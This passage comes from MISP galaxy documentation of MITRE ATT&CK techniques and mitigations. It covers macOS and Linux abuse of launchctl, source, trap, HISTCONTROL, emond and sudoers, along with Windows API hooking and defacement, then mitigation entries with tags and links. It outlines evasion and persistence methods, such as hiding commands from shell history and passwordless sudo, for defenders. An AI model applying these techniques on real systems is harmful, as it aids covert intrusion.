Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.

The tag is: misp-galaxy:mitre-attack-pattern="Launchctl - T1152"

Table 2659. Table References
Links
https://attack.mitre.org/techniques/T1152
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

Source - T1153

The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell’s environment.(Citation: Source Manual)

Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.

The tag is: misp-galaxy:mitre-attack-pattern="Source - T1153"

Table 2660. Table References
Links
https://attack.mitre.org/techniques/T1153
https://ss64.com/bash/source.html

Trap - T1154

The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)

The tag is: misp-galaxy:mitre-attack-pattern="Trap - T1154"

Table 2661. Table References
Links
https://attack.mitre.org/techniques/T1154
https://ss64.com/bash/trap.html
https://bash.cyberciti.biz/guide/Trap_statement

HISTCONTROL - T1148

The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.

The tag is: misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148"

Table 2662. Table References
Links
https://attack.mitre.org/techniques/T1148

Defacement - T1491

Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion.

Internal

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. While internally defacing systems exposes an adversary’s presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)

External

Websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) Defacement may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)

The tag is: misp-galaxy:mitre-attack-pattern="Defacement - T1491"

Table 2663. Table References
Links
https://attack.mitre.org/techniques/T1491
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf
https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf
https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/
https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf

AppleScript - T1155

macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they’re already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>.

The tag is: misp-galaxy:mitre-attack-pattern="AppleScript - T1155"

Table 2664. Table References
Links
https://attack.mitre.org/techniques/T1155
https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/

Emond - T1519

Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.

The tag is: misp-galaxy:mitre-attack-pattern="Emond - T1519"

Table 2665. Table References
Links
https://attack.mitre.org/techniques/T1519
https://www.xorrior.com/emond-persistence/
http://www.magnusviri.com/Mac/what-is-emond.html
https://www.sentinelone.com/blog/how-malware-persists-on-macos/

Sudo - T1169

The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware).

Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.

The tag is: misp-galaxy:mitre-attack-pattern="Sudo - T1169"

Table 2666. Table References
Links
https://attack.mitre.org/techniques/T1169
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/

Hooking - T1179

Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions.

Hooking involves redirecting calls to these functions and can be implemented via:

Hooks procedures, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017)
Import address table (IAT) hooking, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)
Inline hooking, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process’s memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.

Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)

Hooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)

The tag is: misp-galaxy:mitre-attack-pattern="Hooking - T1179"

Table 2667. Table References
Links
https://attack.mitre.org/techniques/T1179
https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.adlice.com/userland-rootkits-part-1-iat-hooks/
https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
https://www.exploit-db.com/docs/17802.pdf
https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf
https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
https://github.com/prekageo/winhook
https://github.com/jay/gethooks
https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/
https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
http://www.gmer.net/
https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis

DNSCalc - T1324

DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)

The tag is: misp-galaxy:mitre-attack-pattern="DNSCalc - T1324"

Table 2668. Table References
Links
https://attack.mitre.org/techniques/T1324

Course of Action

ATT&CK Mitigation.

Course of Action is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: MITRE

Registry Run Keys / Startup Folder Mitigation - T1060

Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Registry Run Keys / Startup Folder Mitigation - T1060"

Registry Run Keys / Startup Folder Mitigation - T1060 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 2669. Table References
Links
https://attack.mitre.org/mitigations/T1060
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Exfiltration Over Command and Control Channel Mitigation - T1041

Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Exfiltration Over Command and Control Channel Mitigation - T1041"

Exfiltration Over Command and Control Channel Mitigation - T1041 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

Table 2670. Table References
Links
https://attack.mitre.org/mitigations/T1041
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Exfiltration Over Other Network Medium Mitigation - T1011

Ensure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. (Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)

The tag is: misp-galaxy:mitre-course-of-action="Exfiltration Over Other Network Medium Mitigation - T1011"

Exfiltration Over Other Network Medium Mitigation - T1011 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1011" with estimative-language:likelihood-probability="almost-certain"

Table 2671. Table References
Links
https://attack.mitre.org/mitigations/T1011
https://technet.microsoft.com/library/dd252791.aspx
https://www.techrepublic.com/blog/data-center/configuring-wireless-settings-via-group-policy/

Disable or Remove Feature or Program - M1042

Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.

The tag is: misp-galaxy:mitre-course-of-action="Disable or Remove Feature or Program - M1042"

Disable or Remove Feature or Program - M1042 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="CMSTP - T1191" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities - T1127" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Screensaver - T1180" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1121" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1164" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="InstallUtil - T1118" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Emond - T1519" with estimative-language:likelihood-probability="almost-certain"

Table 2672. Table References
Links
https://attack.mitre.org/mitigations/M1042

Limit Access to Resource Over Network - M1035

Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.

The tag is: misp-galaxy:mitre-course-of-action="Limit Access to Resource Over Network - M1035"

Limit Access to Resource Over Network - M1035 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"

Table 2673. Table References
Links
https://attack.mitre.org/mitigations/M1035

Data from Network Shared Drive Mitigation - T1039

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Data from Network Shared Drive Mitigation - T1039"

Data from Network Shared Drive Mitigation - T1039 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"

Table 2674. Table References
Links
https://attack.mitre.org/mitigations/T1039
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Windows Management Instrumentation Event Subscription Mitigation - T1084

Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)

The tag is: misp-galaxy:mitre-course-of-action="Windows Management Instrumentation Event Subscription Mitigation - T1084"

Windows Management Instrumentation Event Subscription Mitigation - T1084 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"

Table 2675. Table References
Links
https://attack.mitre.org/mitigations/T1084
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

Custom Command and Control Protocol Mitigation - T1094

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Custom Command and Control Protocol Mitigation - T1094"

Custom Command and Control Protocol Mitigation - T1094 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 2676. Table References
Links
https://attack.mitre.org/mitigations/T1094
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Image File Execution Options Injection Mitigation - T1183

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.

The tag is: misp-galaxy:mitre-course-of-action="Image File Execution Options Injection Mitigation - T1183"

Image File Execution Options Injection Mitigation - T1183 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1183" with estimative-language:likelihood-probability="almost-certain"

Table 2677. Table References
Links
https://attack.mitre.org/mitigations/T1183
https://answers.microsoft.com/windows/forum/windows_10-security/part-of-windows-10-or-really-malware/af715663-a34a-423c-850d-2a46f369a54c
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

SIP and Trust Provider Hijacking Mitigation - T1198

Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)

Consider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)

Restrict storage and execution of SIP DLLs to protected directories, such as C:\Windows, rather than user directories.

Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.

The tag is: misp-galaxy:mitre-course-of-action="SIP and Trust Provider Hijacking Mitigation - T1198"

SIP and Trust Provider Hijacking Mitigation - T1198 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198" with estimative-language:likelihood-probability="almost-certain"

Table 2678. Table References
Links
https://attack.mitre.org/mitigations/T1198
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

Standard Non-Application Layer Protocol Mitigation - T1095

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Standard Non-Application Layer Protocol Mitigation - T1095"

Standard Non-Application Layer Protocol Mitigation - T1095 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

Table 2679. Table References
Links
https://attack.mitre.org/mitigations/T1095
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Deobfuscate/Decode Files or Information Mitigation - T1140

Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Deobfuscate/Decode Files or Information Mitigation - T1140"

Deobfuscate/Decode Files or Information Mitigation - T1140 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 2680. Table References
Links
https://attack.mitre.org/mitigations/T1140
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Deploy Compromised Device Detection Method - M1010

A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.

The tag is: misp-galaxy:mitre-course-of-action="Deploy Compromised Device Detection Method - M1010"

Deploy Compromised Device Detection Method - M1010 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"

Table 2681. Table References
Links
https://attack.mitre.org/mitigations/M1010

Data Transfer Size Limits Mitigation - T1030

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Data Transfer Size Limits Mitigation - T1030"

Data Transfer Size Limits Mitigation - T1030 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"

Table 2682. Table References
Links
https://attack.mitre.org/mitigations/T1030
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Data from Local System Mitigation - T1005

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Data from Local System Mitigation - T1005"

Data from Local System Mitigation - T1005 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 2683. Table References
Links
https://attack.mitre.org/mitigations/T1005
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

File System Logical Offsets Mitigation - T1006

Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="File System Logical Offsets Mitigation - T1006"

File System Logical Offsets Mitigation - T1006 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="File System Logical Offsets - T1006" with estimative-language:likelihood-probability="almost-certain"

Table 2684. Table References
Links
https://attack.mitre.org/mitigations/T1006
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Caution with Device Administrator Access - M1007

Warn device users not to accept requests to grant Device Administrator access to applications without good reason.

Additionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.

The tag is: misp-galaxy:mitre-course-of-action="Caution with Device Administrator Access - M1007"

Caution with Device Administrator Access - M1007 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Abuse Device Administrator Access to Prevent Removal - T1401" with estimative-language:likelihood-probability="almost-certain"

Table 2685. Table References
Links
https://attack.mitre.org/mitigations/M1007

Indicator Removal on Host Mitigation - T1070

Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.

The tag is: misp-galaxy:mitre-course-of-action="Indicator Removal on Host Mitigation - T1070"

Indicator Removal on Host Mitigation - T1070 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 2686. Table References
Links
https://attack.mitre.org/mitigations/T1070

Exploitation of Remote Services Mitigation - T1210

Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.

The tag is: misp-galaxy:mitre-course-of-action="Exploitation of Remote Services Mitigation - T1210"

Exploitation of Remote Services Mitigation - T1210 has relationships with:

